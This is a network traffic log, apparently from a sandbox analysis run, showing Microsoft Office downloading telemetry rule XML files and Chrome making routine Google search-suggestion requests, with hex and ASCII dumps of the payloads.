2024-11-27 16:58:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 33ff7c98-601e-0097-063e-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165825Z-174f7845968nxc96hC1EWRspw80000000wv000000000rgvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165825Z-174f7845968j6t2phC1EWRcfe80000000x8000000000t2ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 5028e0c8-f01e-0003-0a78-404453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165825Z-174f7845968l4kp6hC1EWRe8840000000xb000000000ttzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165825Z-174f7845968xlwnmhC1EWR0sv80000000x1g00000000cec2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 2604352f-101e-005a-363c-40882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165827Z-174f7845968vqt9xhC1EWRgten0000000x9g000000007za0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:27 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165828Z-174f7845968pf68xhC1EWRr4h80000000xeg00000000dpz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:27 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165828Z-174f7845968pf68xhC1EWRr4h80000000xkg0000000000h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:27 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165828Z-174f7845968psccphC1EWRuz9s0000000xf000000000bfc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: d1d63a80-401e-0047-5645-408597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165828Z-174f78459685m244hC1EWRgp2c0000000x40000000003vwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49722	142.250.181.100	443	5736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:29 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 16:58:30 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:30 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-NWZWk4iCEFZ8wnKvY3GEFw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 16:58:30 UTC	124	IN	Data Raw: 33 30 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 72 65 65 6e 6c 61 6e 64 20 63 61 6d 70 20 63 65 6e 74 75 72 79 22 2c 22 67 72 65 61 74 65 73 74 20 70 6f 70 20 73 74 61 72 73 20 32 31 73 74 20 63 65 6e 74 75 72 79 22 2c 22 73 70 61 63 65 78 20 6c 61 75 6e 63 68 22 2c 22 66 6c 6f 72 69 64 61 20 68 6f 75 73 69 6e 67 20 6d 61 72 6b 65 74 22 2c 22 63 6f 6d 6d 61 6e 64 65 Data Ascii: 30b)]}'["",["greenland camp century","greatest pop stars 21st century","spacex launch","florida housing market","commande
2024-11-27 16:58:30 UTC	662	IN	Data Raw: 72 73 20 72 65 64 73 6b 69 6e 73 20 6c 6f 67 6f 22 2c 22 62 61 74 6d 61 6e 20 61 72 6b 68 61 6d 20 6f 72 69 67 69 6e 73 20 76 65 6e 67 65 61 6e 63 65 22 2c 22 69 20 37 30 20 63 6c 6f 73 75 72 65 73 20 63 6f 6c 6f 72 61 64 6f 22 2c 22 73 75 6d 6d 65 72 20 73 69 74 75 61 74 69 6f 6e 73 68 69 70 20 66 75 6c 6c 20 76 69 64 65 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f Data Ascii: rs redskins logo","batman arkham origins vengeance","i 70 closures colorado","summer situationship full video"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","go
2024-11-27 16:58:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49723	142.250.181.100	443	5736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:29 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49721	142.250.181.100	443	5736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
